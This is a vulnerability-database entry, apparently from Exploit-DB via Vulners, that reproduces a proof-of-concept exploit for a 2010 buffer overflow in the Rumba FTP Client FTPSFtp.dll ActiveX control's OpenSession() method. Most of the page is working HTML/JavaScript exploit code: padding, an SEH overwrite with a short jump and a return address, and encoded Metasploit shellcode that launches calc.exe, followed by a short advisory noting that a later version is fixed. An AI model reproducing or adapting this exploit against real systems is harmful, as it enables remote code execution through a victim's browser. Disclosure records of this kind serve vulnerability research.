Rumba FTP客户端FTPSFtp.dll ActiveX控件缓冲区溢出漏洞

🗓️ 25 May 2010 00:00:00Reported by RootType

Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow by sinn3


                                                &lt;html&gt;  
&lt;head&gt;  
&lt;title&gt;Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow by sinn3r&lt;/title&gt;  
&lt;/head&gt;  
&lt;body&gt;  
&lt;object classid=&quot;clsid:677A6F83-52A0-4931-8E62-EC713EE9B949&quot; id=&quot;ftpsftp&quot;&gt;&lt;/object&gt;  
&lt;script language=&quot;JavaScript&quot;&gt;  
// http://www.metasploit.com  windows/exec cmd=calc.exe 200 bytes  
shellcode = &quot;PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPM&quot;+  
&quot;YZEVQN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWK&quot;+  
&quot;RZPPRQGLKQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9&quot;+  

            &quot;FFQKOVQO0NL9QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN&quot;+  

            &quot;3LKS4LKC1XPMY1TWTGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1L&quot;+  

            &quot;KROLGKON5OKZPNUORF6RHOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE35&quot;+  

            &quot;12LSS6N3U2X3UUPDJA&quot;;  

  

eaxAlign  = unescape(  

&quot;%58&quot;+      //POP EAX  

&quot;%04%0B&quot;    //ADD AL, 0x0B  

);  


// Original fuzzed size = 13332 bytes. This POC uses 5000 bytes.  
var padding1    = unescape(&quot;%41&quot;);  
while (padding1.length &lt; 600)  
    padding1 += unescape(&quot;%41&quot;);  
var nseh    = unescape(&quot;%EB%06%42%42&quot;); //Short JUMP  
var seh     = unescape(&quot;%71%33%6E%74&quot;); //0x746E3371  msls31.dll  &lt;-- IE 6 addr  

var padding2    = unescape(&quot;%41&quot;);  

while (padding2.length &lt; 4389-shellcode.length)  

    padding2 += unescape(&quot;%41&quot;);  

  

ftpsftp.OpenSession(padding1 + nseh + seh + eaxAlign + shellcode + padding2);  

&lt;/script&gt;  

&lt;pre&gt;  

|------------------------------------------------------------------|  

|   Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Overflow   |  

|                                                                  |  

| by sinn3r - Corelan &amp; Exploit-DB             twitter.com/_sinn3r |  

|------------------------------------------------------------------|  

  

This bug was found when I was verifying another bug for Exploit-DB. Please note that  

the latest version of FTPSFtp.dll v4.2.3.0.0 is no longer vulnerable to this, and it  

is (duh!) recommended to update your Rumba FTP to the latest version if possible.  

  

[+] Vulnerable Component = FTPSFtp.dll  

[+] Version              = 4.2.0.0  

[+] Function:            = OpenSession ( ByVal __MIDL_0011 As String ) As Object  

[+] progid               = FTPSFTPLib.SFtpApplication  

[+] Tested on            = Windows XP SP3 ENG + IE 6  

[+] Payload              = windows/exec cmd=calc.exe  

[+] Special thanks       = rAWjAW and chap0 for testing  

&lt;/pre&gt;  
&lt;/body&gt;  
&lt;/html&gt;

25 May 2010 00:00Current

6.9Medium risk

Vulners AI Score6.9